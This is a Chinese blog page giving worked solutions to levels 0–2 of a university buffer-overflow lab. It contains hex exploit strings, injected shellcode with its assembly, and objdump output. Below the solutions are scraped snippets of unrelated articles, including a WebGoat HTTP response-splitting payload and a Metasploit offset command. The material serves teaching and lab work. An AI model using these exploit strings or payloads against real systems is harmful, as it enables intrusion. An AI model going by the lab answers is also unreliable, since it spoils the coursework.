Buffer Overflows Lab

stack 大概长这样

Level 0: Candle

只要覆盖掉return 就行了

比如:

c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 

Level 1: Sparkler

要求将 arg 变为 cookie值

c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 70 10 40 00 00 00 00 00 b6 c4 fd 29 b2 96 02 3f b6 c4 fd 29 b2 96 02 3f

Level 2: Firecracker

要求将 bang 里面的global value 设为 cookie 值。

思路是:先return到 stack 上的特定代码段,执行我们替换global value 的代码,然后在返回到bang函数

替换 global 的汇编代码为

mov 0x602320, %rsi
mov %rsi, 0x602308
push $0x00401020
retq

通过

$ gcc -c test.s
$ objdump -d test.o > test.d

生成二进制代码

test.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:    48 8b 34 25 20 23 60     mov    0x602320,%rsi
   7:    00
   8:    48 89 34 25 08 23 60     mov    %rsi,0x602308
   f:    00
  10:    68 20 10 40 00           pushq  $0x401020
  15:    c3                       retq   

然后将这段二进制代码插入特定stack段

48 8b 34 25 20 23 60 00 48 89 34 25 08 23 60 00 68 20 10 40 00 c3 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 00 b7 ff ff ff 7f 00 00

这样就ok了

Extra Credit – Level 3: Dynamite 下次在做

2015-09-28

时间: 2024-10-15 21:09:41

Buffer Overflows Lab的相关文章

A Little Bit about Buffer Overflows

在您最喜欢的搜索引擎上进行简单搜索,您将很快看到有多少计算机安全损害和/或故障是由所谓的缓冲区溢出引起的.例如,以下摘自2000年11月3日风险第21卷第9期: 日期:Thu,2000年11月2日17:57:09 PST 来自:"Peter G. Neumann"<[email protected]> 主题:空中交通管制的困境 2000年10月19日,数百架飞机因为一架飞机而着陆或延误 洛杉矶空中交通管制系统中的软件问题.原因 被归因于墨西哥控制器输入9(而不是5)个字符

OSCP Learning Notes - Buffer Overflows(1)

Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack 原文地址:https://www.cnblogs.com/keepmoving1113/p/11074706.html

OSCP Learning Notes - Buffer Overflows(2)

Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900 2.Write the python test script. The shellcode is copied from the previous step. #!/usr

【转】针对Android上的ROP攻击剖析

引言       ROP(Return-oriented programming),即“返回导向编程技术”.其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的.构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间.但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的的代码,普通的杀毒引擎对ROP攻击是无计可施的. 栈溢出

WebGoat题目解答(General~XSS)

***General************************************************************* 1.Http Spliting     step1 cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html> step2    //添加Last-Modified头

Bulk Insert Syntax

BULK INSERT Imports a data file into a database table or view in a user-specified format. BULK INSERT [ database_name . [ schema_name ] . | schema_name . ] [ table_name | view_name ] FROM 'data_file' [ WITH ( [ [ , ] BATCHSIZE = batch_size ] [ [ , ]

构建高效安全的Nginx Web服务器

一 一.为什么选择Nginx搭建Web服务器 Apache和Nginx是目前使用最火的两种Web服务器,Apache出现比Nginx早. Apache HTTP Server(简称Apache)是世界使用排名第一的Web服务器软件, 音译为阿帕奇,是Apache软件基金会的一个开放源码Web服务器, 可以运行几乎所有的计算机平台,其次开放的API接口, 任何组织和个人都可以在它上面扩展和增加各种需要功能,达到为自己量身定制的功能. Nginx("engine x")是一个高性能的HTT

20步打造最安全的Nginx Web服务器

转自:http://www.open-open.com/solution/view/1319455592515 Nginx是一个轻量级的,高性能的Web服务器以及反向代理和邮箱 (IMAP/POP3)代理服务器.它运行在UNIX,GNU /linux,BSD 各种版本,Mac OS X,Solaris和Windows.根据调查统计,6%的网站使用Nginx Web服务器.Nginx是少数能处理C10K问题的服务器之一.跟传统的服务器不同,Nginx不依赖线程来处理请求.相反,它使用了更多的可扩展

Linux 下使用C语言 gets()函数报错

在Linux下,使用 gets(cmd) 函数报错:warning: the 'gets' function is dangerous and should not be used. 解决办法:采用 fgets(cmd,100,stdin);//100为size 问题解决! fgets从stdin中读字符,直至读到换行符或文件结束,但一次最多读size个字符.读出的字符连同换行符存入缓冲区cmd中.返回指向cmd的指针. gets把从stdin中输入的一行信息存入cmd中,然后将换行符置换成串结